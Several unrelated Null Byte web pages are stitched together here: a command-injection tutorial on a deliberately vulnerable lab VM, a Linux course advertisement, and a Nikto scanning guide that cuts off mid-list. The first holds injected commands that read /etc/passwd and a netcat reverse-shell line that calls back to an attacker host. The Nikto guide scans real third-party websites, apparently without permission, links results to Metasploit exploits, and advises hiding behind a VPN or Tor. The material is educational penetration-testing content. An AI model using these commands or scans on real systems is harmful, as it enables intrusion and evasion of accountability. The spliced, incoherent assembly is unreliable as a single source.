VulnerabilityHow To:Hack Coin-Operated Laudromat Machines for Free Wash & Dry CyclesNews:Best Hacking SoftwareNull Byte:Never Let Us DieHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreHow To:Hack Wi-Fi Using Wifite in Kali
How to Use Command Injection to Pop a Reverse Shell on a Web Server « Null Byte :: WonderHowTo
Command injection is a technique used by hackers to execute system commands on a server, usually via a web application or some kind of GUI. This can happen when an application provides some sort of functionality to the user involving the use of system commands. When the input is not properly sanitized, commands not originally intended to be run are allowed to be executed.Since the application basically acts as an impromptu shell of sorts, this type of attack can lead todisastrous consequences. Depending on the level of privilege the application has, an attacker can do anything, including viewing configuration files, modifying or deleting data, or even getting a shell or creating a backdoor.It is important to note the difference betweencode injectionand command injection. In code injection, an attacker inserts custom code that is then executed by the application or program, whereas command injection takes advantage of the functionality of the application in which system commands are executed. These concepts are similar, but the fact that command injection builds upon the default behavior of the application often makes it easier to exploit.In this tutorial, I will be usingDVWA(Damn Vulnerable Web Application) as part ofMetasploitable 2, a vulnerable virtual machine, to simulate this attack.Don't Miss:How to Create a Virtual Hacking Lab to Practice Hacking SkillsStep 1: Find an Attack VectorWe can begin by searching for an appropriate attack vector to exploit. In this example, the site has a function that allows us to ping otherdomainsorIP addressesto test for connectivity. In reality, it would probably be rare to find such a blatant example of this, but you never know (sometimes the lowest-hanging fruit yields the best results). For demonstration purposes, this will work perfectly though.It's easy enough here to enter the loopback address, or localhost, to test this out. We can see the ping replies, so it appears to be working correctly.Step 2: Test for Vulnerabilities by Injecting CommandsNext, we can try injecting a simple command to see if a vulnerability exists. This particular web server is runningLinux, but the same technique can be applied to Windows servers by using Windows commands. We can append a command using&&(AND),;(separator), or|(pipe). Let's try a simplelsfirst. The injection was successful and the content of the current directory is displayed:We can also use the commandwhoamito get the current username:Theuname -acommand will print system information such as kernel and operating system:We can view the contents of /etc/passwd by appendingcat/etc/passwdto the command:So far, all of the commands we've run have been low impact — useful for gathering information about the server but not much else. What if we could get a shell on the system and own it completely? Well, using the popular toolNetcat, we can do precisely that.Bind Shells vs. Reverse ShellsBefore we jump into popping a shell, it's important to understand the differences between bind shells and reverse shells.A bind shell is a command shell that is opened on the target system, essentially binding itself to a specific port. The attacking system then connects to that listening port and an interactive session is initiated. Bind shells aren't used very often today because any active firewall will block incoming connections to some random port.A reverse shell, on the other hand, will actively connect back to the attacking machine from the target. In this situation, the attacking device has an open port listening for incoming connections. Since outgoing traffic is less likely to be filtered by the firewall, a reverse shell is often the preferred choice.Step 3: Use Netcat to Get a ShellNetcat is a powerful networking utility used to test TCP or UDP connections. Other features include debugging, port scanning, file transfer, and backdoor capabilities. We can use Netcat to spawn a reverse shell on the web server, provided it is installed, and connect back to our machine yielding complete control over the system.Don't Miss:How to Use Netcat, the Swiss Army Knife of Hacking ToolsFirst, we use the following command on our local system to open up a listener for incoming connections. The usage for Netcat isnc, the-lflag opens a listener, and-p 1234instructs it to use port 1234, but any random port will work.nc -l -p 1234Next, in the web application's ping utility, append the following command to spawn a shell on the server and connect back to our machine:nc 172.16.1.100 1234 -e /bin/shThis connects to the IP address 172.16.1.100 on port 1234, and-e /bin/shexecutes a shell that is sent back to our system. Now we can try running commands from the comfort of our own terminal. Usewhoamito view the current user:root@drd:~# nc -l -p 1234 whoami www-dataTo get system information, use theuname -acommand:root@drd:~# nc -l -p 1234 whoami www-data uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/LinuxOr, usepsto view current running processes:root@drd:~# nc -l -p 1234 whoami www-data uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ps PID TTY TIME CMD 4638 ? 00:00:00 apache2 4642 ? 00:00:00 apache2 4644 ? 00:00:00 apache2 4645 ? 00:00:00 apache2 4778 ? 00:00:00 apache2 4783 ? 00:00:00 apache2 4797 ? 00:00:00 sh 4799 ? 00:00:00 nc 4815 ? 00:00:00 apache2 4858 ? 00:00:00 apache2 4864 ? 00:00:00 apache2 4967 ? 00:00:00 apache2 5004 ? 00:00:00 sh 5006 ? 00:00:00 nc 5075 ? 00:00:00 php 5076 ? 00:00:00 sh 5078 ? 00:00:00 sh 5120 ? 00:00:00 psFrom here, we canpivot to other systemson the network, create a backdoor, or knock the server offline entirely. The possibilities are endless now that we have essentially owned the server.How to Prevent Command InjectionLike many attacks that occur on the web, especially other injection techniques, command injection can be successfully prevented and mitigated by ensuring that proper input validation is in place. By filtering out certain phrases and special characters, or ideally using a whitelisting approach, the likelihood of a damaging attack is reduced.Secure coding practices and code reviews are becoming increasingly vital to the development process; Limiting what can be exploited from the start is a great way to bolster the overall security posture of an organization and its applications. Likewise, using reliable APIs that provide parameterized input is always a safe bet, as well as running applications with the lowest possible privileges.Ultimately, though, the best thing to do is omit OS command functionality altogether. In many cases, there is no good reason a web-facing interface needs to interact with system commands at all. By eliminating the vulnerability in the first place, you have essentially defeated an attacker on that front.ConclusionTime and time again we've seen how poorly validated input can lead to exploitation, especially when dealing with web applications. Command injection relies on functionality involving OS commands, typically via a web app or GUI. When unintended commands are allowed to be executed on the system, an attacker can own the server and get a shell, as we demonstrated with Netcat. This just goes to show how seemingly harmless implementations can be compromised and exploited.Don't Miss:How to Install Kali Linux as a Virtual Machine on macOSFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byblickpixel/Pixabay; Screenshots by drd_/Null ByteRelatedHow To:Use SQL Injection to Run OS Commands & Get a ShellHow To:Use Metasploit's Web Delivery Script & Command Injection to Pop a ShellHow To:Exploit Shellshock on a Web Server Using MetasploitHow To:Use Commix to Automate Exploiting Command Injection Flaws in Web ApplicationsHow To:Reverse Shell Using PythonHow To:Elevate a Netcat Shell to a Meterpreter Session for More Power & ControlHow To:Find & Exploit SUID Binaries with SUID3NUMHow to Hack Databases:Running CMD Commands from an Online MS SQL ServerHow To:Hack Metasploitable 2 Including Privilege EscalationHow To:Exploit PHP File Inclusion in Web AppsHow To:Upload a Shell to a Web Server and Get Root (RFI): Part 1How To:Configure a Reverse SSH Shell (Raspberry Pi Hacking Box)How To:Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1How To:Beat LFI Restrictions with Advanced TechniquesHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHow To:Use One-Lin3r to Quickly Generate Reverse Shells, Privesc Commands & MoreHow To:Upload a Shell to a Web Server and Get Root (RFI): Part 2How To:Bypass Antivirus Software by Obfuscating Your Payloads with GraffitiHow To:Create Backdoor on OSXHow To:Use Postenum to Gather Vital Data During Post-ExploitationHack Like a Pro:How to Take Control of Windows Server 2003 Remotely by Launching a Reverse ShellHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHHow To:Use JavaScript Injections to Locally Manipulate the Websites You VisitHow To:Push and Pull Remote Files Securely Over SSH with PipesHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseHow To:Create an SSH Tunnel Server and Client in LinuxHow Null Byte Injections Work:A History of Our NamesakeHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsHow To:Reveal Saved Browser Passwords with JavaScript InjectionsHow To:An Entry Level Guide to Finding and Reading Logs (And Maybe Staying Out of Jail)How To:Safely Log In to Your SSH Account Without a PasswordNews:Change from BASH to zsh
This Top-Rated Course Will Make You a Linux Master « Null Byte :: WonderHowTo
Linux is a diverse and powerful operating system that virtually every IT professional must learn and know well. Whether you realize it or not, you have likely alreadyused a Linux device, and learning to design things for it is a key step in any Data Science career path.The Mastering Linux Development Bundleis a comprehensive educational bundle that has something new to teach you, whether you're a seasoned expert or completely new, and it's on sale for $19.99 right now.This bundle is perfect for learners at every level, but it has the most to teach to beginners. Courses like "Linux Basics for Beginners" are designed to take you through the essential foundational information you'll eventually need to become a Linux master.The Mastering Linux bundle has classes for more experienced users, too; "Gain In-Depth Knowledge on How to Become an SSH Power User" is geared toward practicing and perfecting your skill with SSH Power and how to gain access to GUI applications running on remote Linux machines.With seven courses covering 34 hours of expert content, you will have a lot to learn from this bundle, which is good because you get lifetime access to everything in it. Take your time learning everything you need because Linux is one of those foundational tools you'll use a lot, whether you have a career in IT or are just programming as a hobby. Another such tool isPython, which you should check out too if you haven't already.Each of the instructors for the courses in this bundle is either from or runs expert organizations. Atul Tiwari is one such instructor. Tiwari has worked in Information Security for more than 10 years, has trained 90,000+ students, and has performed penetration tests and security audits on government contracts. This level of expertise is mirrored in the other instructors you will learn from with this bundle.You can getThe Mastering Linux Development Bundle for $19.99while it's on sale, and if you use the code WELOVEMOM, you can get it for only $15.99 with a 20% discount sitewide.Prices subject to change.Don't Miss Out on This Deal:The Mastering Linux Development Bundle for $19.99 — or $15.99 with Code WELOVEMOMWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Up Your Linux Game with This $19.99 BundleNews:You Can Master Adobe's Hottest Tools from Home for Only $34Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)How To:Boost Your Sales Skills & Close More Deals with This Ultimate Sales Master ClassHow To:This Top-Rated Bundle of Self Improvement Courses Will Make You a Better Version of YourselfHow to Hack Like a Pro:Getting Started with MetasploitHow To:Take Your Productivity to the Next Level with This Google Masterclass BundleDeal Alert:Grab This Microsoft Office Beginner's Guide for Only $35News:Even Microsoft Acknowledges the Superiority of the Bash Shell NowHow To:Learn How to Grow Your Instagram Following for Under $14How To:Master Linux with This Extensive 12-Course BundleHow To:Use Google Instant to get more search results or turn it off otherwiseHow To:Make a Star Trek Red Shirt costume for Halloween or a Star Trek eventHow To:Make a talking animals effect using After EffectsHow To:Become a Master Problem Solver by Learning Data Analytics at HomeContest:Potassium Nitrate CrystalsNews:And the Winner of the Tuesday Giveaway Minecraft Challenge Is...How To:Windows 7 Won't Boot? Here's How To Fix Your Master Boot RecordNews:Anita Lo Leaves Rickshaw Dumpling BarHow To:This Master Course Bundle on Coding Is Just $34.99News:Accounting and Finance DegreeHow To:Give Your GRand Unified Bootloader a Custom ThemeHow To:Use Cygwin to Run Linux Apps on WindowsCook the Book:'Fiesta at Rick's'News:Complete Your MBA at Kaplan University–Graduate School OnlineSecure Your Computer, Part 2:Password-Protect the GRUB Bootloader on Dual-Booted PCsRoot Exploit:Memodipper Gets You Root Access to Systems Running Linux Kernel 2.6.39+News:Conteúdo Curso PhotoshopNews:The Fog of WillHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:Run Windows from Inside LinuxGoal:Master Farmer
How to Scan for Vulnerabilities on Any Website Using Nikto « Null Byte :: WonderHowTo
Before attacking any website, a hacker or penetration tester will first compile a list of target surfaces. After they've used some goodreconand found the right places to point their scope at, they'll use a web server scanning tool such as Nikto for hunting down vulnerabilities that could be potential attack vectors.Nikto is a simple, open-source web server scanner that examines a website and reports back vulnerabilities that it found which could be used to exploit or hack the site. Also, it's one of the most widely used website vulnerabilities tools in the industry, and in many circles, considered the industry standard.Although this tool is extremely effective, it'snotstealthy at all. Any site with anintrusion-detection systemor other security measures in place will detect that it's being scanned. Initially designed for security testing, stealth was never a concern.Don't Miss:Use Metasploit's WMAP to Scan Web Apps for VulnerabilitiesThe Right Way to Use NiktoIf you just run Nikto by itself on a targeted website, you may not know what to do with the information from the scan. Nikto is actually more like a laser pointer to call in a much larger strike, and you'll see how that plays out in a little bit.First, let's talk about the target surface. This is pretty much anywhere a hacker will attempt to attack and could include things such as network-exposed printers and a web server. When we get to using Nikto later, we'll need to provide it with one of three different types of information: an IP address for a local service, a web domain to attack, or an SSL/HTTPS website.Before diving right into a scan with Nikto, it's better to do some additional reconnaissance using an open-source intelligence tool such asMaltego. Tools like this can help build a profile and a more focused list of available targets that should be concentrated on. Once that's done, Nikto can be used to hone in on potential vulnerabilities for targets on the list.Don't Miss:How to Use Maltego to Fingerprint an Entire NetworkIf lucky, a vulnerability with a weaponized exploit will be found, meaning there's a tool out there already to take advantage of the weakness. With the appropriate tool, which will automatically exploit the vulnerability, a hacker can gain access to the target to perform any number of behind-the-scenes attacks, like adding code to perform a malicious activity.Step 1: Install NiktoIf you're running Kali Linux, Nikto comes preinstalled, so you don't have to download or install anything. It'll be located in the "Vulnerability Analysis" category. If you don't have it for some reason, you can get Nikto fromits GitHubor just use theapt installcommand.apt install niktoIf you're doing this on a Mac, you can useHomebrewto install Nikto.brew install niktoStep 2: Get to Know NiktoBefore you dive into scanning web servers with Nikto, lets you use the-Helpoption to see everything that can be done inside Nikto.nikto -HelpOptions: -ask+ Whether to ask about submitting updates yes Ask about each (default) no Don't ask, don't send auto Don't ask, just send -Cgidirs+ Scan these CGI dirs: "none", "all", or values like "/cgi/ /cgi-a/" -config+ Use this config file -Display+ Turn on/off display outputs: 1 Show redirects 2 Show cookies received 3 Show all 200/OK responses 4 Show URLs which require authentication D Debug output E Display all HTTP errors P Print progress to STDOUT S Scrub output of IPs and hostnames V Verbose output -dbcheck Check database and other key files for syntax errors -evasion+ Encoding technique: 1 Random URI encoding (non-UTF8) 2 Directory self-reference (/./) 3 Premature URL ending 4 Prepend long random string 5 Fake parameter 6 TAB as request spacer 7 Change the case of the URL 8 Use Windows directory separator (\) A Use a carriage return (0x0d) as a request spacer B Use binary value 0x0b as a request spacer -Format+ Save file (-o) format: csv Comma-separated-value htm HTML Format nbe Nessus NBE format sql Generic SQL (see docs for schema) txt Plain text xml XML Format (if not specified the format will be taken from the file extension passed to -output) -Help Extended help information -host+ Target host -404code Ignore these HTTP codes as negative responses (always). Format is "302,301". -404string Ignore this string in response body content as negative response (always). Can be a regular expression. -id+ Host authentication to use, format is id:pass or id:pass:realm -key+ Client certificate key file -list-plugins List all available plugins, perform no testing -maxtime+ Maximum testing time per host (e.g., 1h, 60m, 3600s) -mutate+ Guess additional file names: 1 Test all files with all root directories 2 Guess for password file names 3 Enumerate user names via Apache (/~user type requests) 4 Enumerate user names via cgiwrap (/cgi-bin/cgiwrap/~user type requests) 5 Attempt to brute force sub-domain names, assume that the host name is the parent domain 6 Attempt to guess directory names from the supplied dictionary file -mutate-options Provide information for mutates -nointeractive Disables interactive features -nolookup Disables DNS lookups -nossl Disables the use of SSL -no404 Disables nikto attempting to guess a 404 page -Option Over-ride an option in nikto.conf, can be issued multiple times -output+ Write output to this file ('.' for auto-name) -Pause+ Pause between tests (seconds, integer or float) -Plugins+ List of plugins to run (default: ALL) -port+ Port to use (default 80) -RSAcert+ Client certificate file -root+ Prepend root value to all requests, format is /directory -Save Save positive responses to this directory ('.' for auto-name) -ssl Force ssl mode on port -Tuning+ Scan tuning: 1 Interesting File / Seen in logs 2 Misconfiguration / Default File 3 Information Disclosure 4 Injection (XSS/Script/HTML) 5 Remote File Retrieval - Inside Web Root 6 Denial of Service 7 Remote File Retrieval - Server Wide 8 Command Execution / Remote Shell 9 SQL Injection 0 File Upload a Authentication Bypass b Software Identification c Remote Source Inclusion d WebService e Administrative Console x Reverse Tuning Options (i.e., include all except specified) -timeout+ Timeout for requests (default 10 seconds) -Userdbs Load only user databases, not the standard databases all Disable standard dbs and load only user dbs tests Disable only db_tests and load udb_tests -useragent Over-rides the default useragent -until Run until the specified time or duration -update Update databases and plugins from CIRT.net -useproxy Use the proxy defined in nikto.conf, or argument http://server:port -Version Print plugin and database versions -vhost+ Virtual host (for Host header) + requires a valueStep 3: Use the Basic SyntaxAs you can see from the previous step, Nikto has many options, but for our purposes, we'll stick to the basic syntax as follows. We'll substitute the <IP or hostname> with the actual IP address or hostname sans angle brackets.nikto -h <IP or hostname>However, Nikto is capable of doing a scan that can go after SSL and port 443, the port that HTTPS websites use (HTTP uses port 80 by default). So we're not just limited to scanning old sites, we can do vulnerability assessments on sites that use SSL, which is pretty much a requirement these days to be indexed in search results.If we know it's an SSL site that we're targeting, we can specify it in Nikto to save some time on the scan by adding-sslto the end of the command.nikto -h <IP or hostname> -sslStep 4: Scan an SSL-Enabled WebsiteFor example, let's start with scanning pbs.org to see some of the types of information that a Nikto scan will show. After it connects to port 443, we see that there's some useful information about the cipher and a list of other details like that the server is Nginx, but there's not a whole lot of interesting data here for us.nikto -h pbs.org -ssl- Nikto v2.1.6 ------------------------------------------------------------------------------ - STATUS: Starting up! + Target IP: 54.225.198.196 + Target Hostname: pbs.org + Traget Port: 443 ------------------------------------------------------------------------------ + SSl Info: Subject: /CN=www.pbs.org Altnames: account.pbs.org, admin.pgs.org, dipsy-tc.pbs.org, docs.pbs.org, ga.video.cdn.pbs.org, git.pbs.org, heart.ops.pbs.org, hub-dev.pbs.org, image.pbs.org, jaws..pbs.org, kids.pbs.org, koth-qa.svp.pbs.org, login.pbs.org, ops.pbs.org, pbs.org, player.pbs.org, projects.pbs.org, sentry.pbs.org, teacherline.pbs.org, urs.pbs.org, video.pbs.org, weta-qa.svp.pbs.org, whut-qa.svp.pbs.org, wnet.video-qa.pbs.org, wnet.video-staging.pbs.org, www-cache.pbs.org, www.pbs.org Ciphers: ECDHE-RSA-AES128-GCM-SHA256 Issuer: /C-US/0=Let's Encrypt/CN=Let's Encrypt Authority X3 + Start Time: 2018-12-05 23:34:06 (GMT-8) ------------------------------------------------------------------------------ + Server: nginx + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + Uncommon header 'x-pbs-fwsrvname' found, with contents: fwcacheproxy1 + The site uses SSL and the Strict-Transport-Security HTTP header is not defined. + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + Root page / redirects to: https://www.pbs.org/ + No CGI Directories found (use '-C all' to force check all possible dirs) + RC-1918 IP address found in the 'x-pbs-appsvrip' header: The IP is "10.137.181.52". + Uncommon header 'x-cache-fs-status' found, with contents: EXPIRED + Uncommon header 'x-pbs-appsvrname' found, with contents: fwcacheproxy1 + Uncommon header 'x-pbs-appsvrip' found, with contents: 10.137.181.52 + Server leaks inodes via ETags, header found with file /pbs.org.zip, fields: 0x5b96537e 0x1678 + 7446 requests: 0 error(s) and 10 item(s) reported on remote host + End Time: 2018-12-06 00:30:29 (GMT-8) (3383 seconds) ------------------------------------------------------------------------------ + 1 host(s) testedStep 5: Scan an IP AddressNow that we performed a quick scan of a website, let's try using Nikto on a local network to find embedded servers such as a login page for a router or an HTTP service on another machine that's just a server with no website. To get started, let's find our IP address usingifconfig.ifconfigen0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500 inet 192.168.0.48 netmask 0xffffff00 broadcast 192.168.0.255 inet6 XXXX::XXX:XXXX:XXXX:XXXX%en0 prefixlen 64 secured scopeid 0x8 ether XX:XX:XX:XX:XX:XX txqueuelen 1000 (Ethernet) inet6 XXXX::XXX:XXXX:XXXX:XXXX%en0 prefixlen 64 autoconf secured inet6 XXXX::XXX:XXXX:XXXX:XXXX%en0 prefixlen 64 autoconf temporary nd6 options=201<PERFORMNUD,DAD> media: autoselect status: active en2: flags=8863<UP,BROADCAST,SMART,RUNNING,PROMISC,SIMPLEX,MULTICAST> mtu 1500 options=60<TS04,TS06> ether XX:XX:XX:XX:XX:XX media: autoselect <full-duplex> status: inactiveThe IP address we want is the "inet" one. Then we can runipcalcon it to get our network range. If you don't haveipcalc, you can install it withapt install ipcalc, then try again. The range will be next to "Network," in my case, 192.168.0.0/24.ipcalc 192.168.0.48Address: 192.168.0.48 11000000.10101000.00000000. 00110000 Netmask: 255.255.255.0 = 24 11111111.11111111.11111111. 00000000 Wildcard: 0.0.0.255 00000000.00000000.00000000. 11111111 => Network: 192.168.0.0/24 11000000.10101000.00000000. 00000000 HostMin: 192.168.0.1 11000000.10101000.00000000. 00000001 HostMax: 192.168.0.254 11000000.10101000.00000000. 11111110 Broadcast: 192.168.0.255 11000000.10101000.00000000. 11111111 Hosts/Net: 254 Class C, Private InternetNow, we're going to want to runNmapto find services running in the network range. Let's scan port 80 with our range and tack on-oG(grepable output) to extract only the hosts that are up and running, i.e., the ones responding indicating that port 80 is open. Then we'll save everything to a file, which I'm namingnullbyte.txt, but could be named anything.nmap -p 80 192.168.0.0/24 -oG nullbyte.txtStarting Nmap 7.60 ( https://nmap.org ) at 2018-12-06 00:43 PST Nmap scan report for 192.168.0.1 Host is up (0.021s latency). PORT STATE SERVICE 80/tcp open http Nmap scan report for 192.168.0.2 Host is up (0.088s latency). PORT STATE SERVICE 80/tcp open http Nmap scan report for 192.168.0.4 Host is up (0.032s latency). PORT STATE SERVICE 80/tcp open http Nmap scan report for 192.168.0.5 Host is up (0.020s latency). PORT STATE SERVICE 80/tcp open http Nmap scan report for 192.168.0.11 Host is up (0.068s latency). PORT STATE SERVICE 80/tcp closed http Nmap scan report for 192.168.0.24 Host is up (0.023s latency). PORT STATE SERVICE 80/tcp closed http Nmap scan report for 192.168.0.31 Host is up (0.059s latency). PORT STATE SERVICE 80/tcp closed http Nmap scan report for 192.168.0.48 Host is up (0.030s latency). PORT STATE SERVICE 80/tcp closed http Nmap scan report for 192.168.0.60 Host is up (0.092s latency). PORT STATE SERVICE 80/tcp closed http Nmap done: 256 IP addresses (9 hosts up) scanned in 8.92 secondsThere's a nice little trick that can send all the up hosts directly to Nikto for scanning. We usecatto read the output stored in ournullbyte.txtdocument (or whatever you named it). Then, there'sawk, a Linux tool that will help search for the following pattern, whereUpmeans the host is up andprint $2means to print out the second word in that line for each, i.e., just the IP address. Then, we send that data to a new file calledtargetIP.txt(or whatever you'd like to name it).cat nullbyte.txt | awk '/Up$/{print $2}' | cat >> targetIP.txtWe can now view the contents of our new file withcatto see all the IP addresses that have port 80 open.cat targetIP.txt192.168.0.1 192.168.0.2 192.168.0.4 192.168.0.5 192.168.0.11 192.168.0.24 192.168.0.31 192.168.0.48 192.168.0.60This is perfect for Nikto because it can easily interpret files like this. So we can send this output over to Nikto with the following command.nikto -h targetIP.txtThe results will look similar to the ones we got when performing the SSL scan.Step 6: Scan an HTTP WebsiteWe've scanned a secure website and an IP address on a local network, and now it's time to go after an unsecured web domain using port 80. For this example, I'm using "afl.com.au,' which was not using SSL at the time I performed this scan.nikto -h www.afl.com.au- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 159.180.84.10 + Target Hostname: www.afl.com.au + Target Port: 80 + Start Time: 2018-12-05 21:48:32 (GMT-8) --------------------------------------------------------------------------- + Server: instart/nginx + Retried via header: 1.1 varnish (Varnish/6.1), 1.1 e9ba0a9a729ff2960a04323bf1833df8.cloudfront.net (CloudFront) + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + Uncommon header 'x-cache' found, with contents: Miss from cloudfront + Uncommon header 'x-instart-cache-id' found, with contents: 17:12768802731504004780::1544075250 + Uncommon header 'v-cache-hit' found, with contents: Hit + Uncommon header 'x-amz-cf-id' found, with contents: Dr-r6OwO5kk9ABt4ejzpc7R7AIF6SuH6kfJHQgP0v6xZoHwMLE55rQ== + Uncommon header 'x-instart-request-id' found, with contents: 12814413144077601501:BEQ01-CPVNPPRY18:1552504721:0 + Uncommon header 'x-oneagent-js-injection' found, with contents: true + Uncommon header 'grace' found, with contents: cache + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + Uncommon header 'x-ruxit-js-agent' found, with contents: true + Cookie dtCookie created without the httponly flag + Server banner has changed from 'instart/nginx' to 'nginx' which may suggest a WAF, load balancer or proxy is in place + No CGI Directories found (use '-C all' to force check all possible dirs) + Entry '/sites/' in robots.txt returned a non-forbidden or redirect HTTP code (200) + Entry '/search/' in robots.txt returned a non-forbidden or redirect HTTP code (200) + Entry '*.mobileapp' in robots.txt returned a non-forbidden or redirect HTTP code (400) + Entry '*.liveradio' in robots.txt returned a non-forbidden or redirect HTTP code (400) + Entry '*.smartmobile' in robots.txt returned a non-forbidden or redirect HTTP code (400) + Entry '*.responsive' in robots.txt returned a non-forbidden or redirect HTTP code (400) + Entry '/stats?*/' in robots.txt returned a non-forbidden or redirect HTTP code (200) + "robots.txt" contains 8 entries which should be manually viewed. + OSVDB-3092: /sitemap.xml: This gives a nice listing of the site content. + OSVDB-3092: /psql_history: This might be interesting... + OSVDB-3092: /global/: This might be interesting... + OSVDB-3092: /home/: This might be interesting... + OSVDB-3092: /news: This might be interesting... + OSVDB-3092: /search.vts: This might be interesting... + OSVDB-3092: /stats.htm: This might be interesting... + OSVDB-3092: /stats.txt: This might be interesting... + OSVDB-3092: /stats/: This might be interesting... + OSVDB-3092: /Stats/: This might be interesting... + OSVDB-3093: /.wwwacl: Contains authorization information + OSVDB-3093: /.www_acl: Contains authorization information + OSVDB-3093: /.htpasswd: Contains authorization information + OSVDB-3093: /.access: Contains authorization information + OSVDB-3093: /.addressbook: PINE addressbook, may store sensitive e-mail address contact information and notes + OSVDB-3093: /.bashrc: User home dir was found with a shell rc file. This may reveal file and path information. + OSVDB-3093: /.bash_history: A user's home directory may be set to the web root, the shell history was retrieved. This should not be accessible via the web. + OSVDB-3093: /.forward: User home dir was found with a mail forward file. May reveal where the user's mail is being forwarded to. + OSVDB-3093: /.history: A user's home directory may be set to the web root, the shell history was retrieved. This should not be accessible via the web. + OSVDB-3093: /.htaccess: Contains configuration and/or authorization information + OSVDB-3093: /.lynx_cookies: User home dir found with LYNX cookie file. May reveal cookies received from arbitrary web sites. + OSVDB-3093: /.mysql_history: Database SQL? + OSVDB-3093: /.passwd: Contains authorization information + OSVDB-3093: /.pinerc: User home dir found with a PINE rc file. May reveal system information, directories and more. + OSVDB-3093: /.plan: User home dir with a .plan, a now mostly outdated file for delivering information via the finger protocol + OSVDB-3093: /.proclog: User home dir with a Procmail rc file. May reveal mail traffic, directories and more. + OSVDB-3093: /.procmailrc: User home dir with a Procmail rc file. May reveal subdirectories, mail contacts and more. + OSVDB-3093: /.profile: User home dir with a shell profile was found. May reveal directory information and system configuration. + OSVDB-3093: /.rhosts: A user's home directory may be set to the web root, a .rhosts file was retrieved. This should not be accessible via the web. + OSVDB-3093: /.sh_history: A user's home directory may be set to the web root, the shell history was retrieved. This should not be accessible via the web. + OSVDB-3093: /.ssh: A user's home directory may be set to the web root, an ssh file was retrieved. This should not be accessible via the web. + OSVDB-5709: /.nsconfig: Contains authorization information + /portal/changelog: Vignette richtext HTML editor changelog found. + 7587 requests: 4 error(s) and 55 item(s) reported on remote host + End Time: 2018-12-05 22:42:41 (GMT-8) (3249 seconds) --------------------------------------------------------------------------- + 1 host(s) testedAbove, we can see that there's a Varnish server and some headers that help indicate how the website is configured. However, the juicier stuff is the directories found which can help snag configuration files that may contain credentials or other things that have been misconfigured and left unintentionally accessible.The items with the OSVDB prefix are vulnerabilities reported in theOpen Source Vulnerability Database(a site that shut down in 2016). It's similar to other vulnerability databases such asSecurityFocus,Microsoft's Technet, andCommon Vulnerabilities and Exposures. I prefer to check out theNational Vulnerability Database.While there aren't any major things that can be exploited from this scan, if there was, you can use theCVE reference toolto translate the OSVDB identifier to a CVE entry, so you can use one of the other sites above to read more about the vulnerability.Let's say we found some worth exploring, such asCVE-2018-10933, aLibssh vulnerability we covered in detail previously. The CVE holds information about what can be exploited, what the severity score is (such as critical), and some other information that can help determine an attack vector. If it something worth using, you can searchMetasploit, as someone has already likely developed a weaponized module for it to exploit it more easily.Step 7: Pair Scans with MetasploitOne of the best things about Nikto is that you can actually export information into a format that Metasploit can read when you're performing a scan. To do, just use the commands above to perform the scan, but appending-Format msf+to the end of it. The format can help us quickly pair data retrieved with a weaponized exploit.nikto -h <IP or hostname> -Format msf+So, in this guide, we went from determining the target's surface area to finding a vulnerability and then pairing it with a weaponized exploit so we don't have to do all of the work. Since Nikto is not a stealthy tool, it's wise to perform these types of scans from a VPN, through Tor, or another type of service so that your real IP address is not flagged for suspicious behavior.Don't Miss:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootFollow Gadget Hacks onPinterest,Reddit,Twitter,YouTube, andFlipboardSign up forGadget Hacks' daily newsletteror weeklyAndroidandiOSupdatesFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Null ByteRelatedHack Like a Pro:How to Find Website Vulnerabilities Using WiktoAndroid for Hackers:How 